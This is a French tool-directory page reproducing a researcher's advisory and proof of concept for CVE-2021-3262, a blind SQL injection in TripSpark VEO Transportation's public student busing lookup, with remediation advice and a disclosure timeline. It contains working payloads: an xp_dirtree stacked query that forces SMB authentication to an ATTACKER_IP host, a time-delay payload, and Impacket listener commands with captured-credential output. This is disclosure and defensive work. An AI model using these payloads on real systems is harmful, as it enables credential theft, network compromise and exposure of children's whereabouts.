Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3262 — CVE-2021-3262 - Injection SQL aveugle dans le paramètre editOEN de TripSpark VEO Transportation / NovusEDU. Non authentifié, exposé sur Internet. Payloads, requêtes annotées et preuves. | Kitploit
Outils/GitHubGitHub/l0lsec/cve-2021-3262
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebArticles et RechercheApprentissage et ÉducationSécurité des Bases de Données
GitHubl0lsec/cve-2021-3262

CVE-2021-3262

CVE-2021-3262 - Injection SQL aveugle dans le paramètre editOEN de TripSpark VEO Transportation / NovusEDU. Non authentifié, exposé sur Internet. Payloads, requêtes annotées et preuves.

Voir le dépôt
3il y a 1 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-3262

Injection SQL dans TripSpark VEO Transportation / NovusEDU

La page de consultation publique « Student Busing Information » fournie avec TripSpark VEO Transportation prend des entrées non authentifiées du corps POST et les concatène dans une requête SQL Server sans paramétrage ni validation côté serveur. Le paramètre editOEN (le champ du numéro d'élève) est injectable.

L'injection est aveugle : l'application ne renvoie aucune erreur de base de données ni aucun contenu différentiel digne d'intérêt. Elle reste néanmoins entièrement exploitable hors bande, car la connexion à la base de données peut atteindre master.dbo.xp_dirtree, ce qui force le compte de service SQL Server à s'authentifier en sortie via SMB vers un chemin UNC fourni par l'attaquant.

Découvert lors d'un test d'intrusion externe. Lors de l'engagement initial, l'identifiant du compte de service capturé a été le point d'appui qui a conduit à la compromission totale du domaine et de la forêt Active Directory du client.

Publié sous la référence CVE-2021-3262. Découvert et rapporté par Sedric Louissaint de Show Up Show Out Security.


Résumé

CVECVE-2021-3262
ProduitTripSpark VEO Transportation / NovusEDU
Version affectéeNovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS
FaiblesseCWE-89: Injection SQL
CVSS 3.1 (NVD)9.8 Critique CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (chercheur)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Publié2023-08-29
Testé surWindows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64)
Authentification requiseAucune. La page de consultation est conçue pour être accessible sur Internet.

Description du NVD :

TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 permet des entrées non sécurisées dans les paramètres du corps POST provenant des utilisateurs finaux sans les nettoyer à l'aide d'une logique côté serveur. Il était possible d'injecter des commandes SQL personnalisées dans les requêtes de recherche « Student Busing Information ».

Détail technique

La surface exposée

Les districts déploient la page « Student Busing Information » sur leur site web public afin que les parents puissent consulter l'affectation du bus d'un élève. Elle demande un numéro N d'élève et une date de naissance, et elle est intentionnellement non authentifiée.

La page publique Student Busing Information

Le champ numéro N poste sous le nom editOEN. La date de naissance poste sous cboxMonth, cboxDay et cboxYear. editOEN est le paramètre injectable.

Injection aveugle

Contrairement à de nombreuses applications ASP.NET de cette époque, cette page ne renvoie pas les erreurs de base de données. Il n'y a aucune différence visible entre une requête bien formée et une requête cassée, donc les techniques en bande sont une impasse.

Les requêtes empilées s'exécuent, ce qui est tout ce dont on a besoin.

Exploitation hors bande via xp_dirtree

master.dbo.xp_dirtree énumère un répertoire. Étant donné un chemin UNC, SQL Server s'authentifie auprès de l'hôte cible via SMB avant de le lire. Le pointer vers un écouteur transforme une injection silencieuse en injection visible :

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

La charge utile dans le paramètre editOEN

La requête est une POST ASP.NET WebForms ordinaire, d'environ 4 700 octets, dont la majeure partie est __VIEWSTATE. Requête complète dans poc/exploited-request.http, charges utiles dans poc/payloads.sql.

La requête HTTP exploitée

Authentification capturée

Avec smbserver.py d'Impacket à l'écoute sur un hôte sur Internet public, le serveur de base de données à l'intérieur du réseau du district s'authentifie en sortie :

root@kitploit:~
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Authentification forcée capturée avec Impacket

Deux choses méritent d'être nommées explicitement. Premièrement, il s'agit d'un formulaire non authentifié accessible sur Internet atteignant une base de données de production. Deuxièmement, ce serveur de base de données était autorisé à établir des connexions SMB sortantes vers des hôtes Internet arbitraires, ce qui a rendu l'injection aveugle observable.

Impact

Au-delà de l'injection elle-même, l'identifiant NTLMv2 capturé pour le compte de service SQL Server a été le point d'appui initial lors de l'engagement original. À partir de là, l'évaluation a escaladé jusqu'à la compromission totale du domaine et de la forêt Active Directory du client.

Les données à risque sont les dossiers de transport des élèves : noms, adresses personnelles, bus attribué, arrêt attribué, heures de prise en charge et itinéraires d'éducation spécialisée. C'est un emploi du temps indiquant où des enfants identifiables se trouveront physiquement à des heures connues.

Reproduction

Contre une instance de laboratoire que vous possédez ou que vous êtes autorisé à tester :

  1. Chargez la page « Student Busing Information ».
  2. Démarrez un écouteur sur un hôte que la cible peut atteindre :
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  3. Soumettez le formulaire avec la charge utile xp_dirtree de poc/payloads.sql dans le champ numéro N, en remplaçant par votre propre IP. Capturez et rejouez la POST plutôt que de taper dans le navigateur si le champ a une limite de longueur côté client, car cette limite n'existe pas côté serveur.
  4. Une version vulnérable produit une authentification SMB entrante du compte de service SQL Server. Rien ne change dans la réponse HTTP.
  5. La confirmation temporelle fonctionne également si vous ne pouvez pas recevoir de SMB entrant :
    root@kitploit:~
    123'; waitfor delay '0:0:10';--
    

Contenu du dépôt

root@kitploit:~
poc/
  payloads.sql            Détection, charges utiles temporelles et hors bande pour editOEN
  exploited-request.http  La requête POST complète, prête pour sqlmap -r
  sqlmap.md               Invocations sqlmap pour une injection aveugle par requêtes empilées
media/
  01-student-busing-information-page.png
  02-editoen-payload-in-burp.png
  03-forced-auth-captured-impacket.png
  04-exploited-http-request.png

Les identifiants clients dans les captures sont expurgés. Les adresses des écouteurs proviennent de l'engagement original et sont depuis longtemps obsolètes. Remplacez-les par les vôtres lors de la reproduction.

Correction

  1. Requêtes paramétrées. Liez editOEN en tant que paramètre et la charge utile devient une chaîne inerte, quel que soit son contenu.
  2. Validation côté serveur. Un numéro d'élève est court et numérique. Appliquez cela sur le serveur, pas dans le formulaire.
  3. Privilège minimum pour le compte de base de données. Le compte derrière une page de consultation publique doit lire les affectations de bus et rien d'autre. Révoquez l'accès à xp_dirtree et aux autres procédures stockées étendues.
  4. Filtrage du trafic sortant. Un serveur de base de données de district scolaire n'a aucune raison d'ouvrir des connexions SMB vers Internet. Bloquer le port 445 sortant supprime le canal hors bande.
  5. Séparez le formulaire public du système de référence. La page utilisée par les parents doit interroger un réplica restreint, pas la base de données de production qui contient également les itinéraires d'éducation spécialisée.

Chronologie

DateÉvénement
2021Découvert lors d'un test d'intrusion externe et signalé à TripSpark
2023-08-29CVE-2021-3262 publié dans le NVD, noté 9.8 Critique

Articles

  • Compte personnel : https://sedriclouissaint.com/blog/tripspark-veo-sql-injection-cve-2021-3262/
  • Show Up Show Out Security : https://susos.co/blog/sqlspark-sql-injection-in-tripspark-veo-transport-cve-2021-3262

Avertissement

Publié après divulgation, à des fins défensives et éducatives. N'exécutez pas ces charges utiles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test. Si vous administrez un déploiement de district, l'action utile ici est de demander à votre fournisseur, par écrit, si les requêtes derrière vos formulaires publics sont paramétrées.

Télécharger l’outil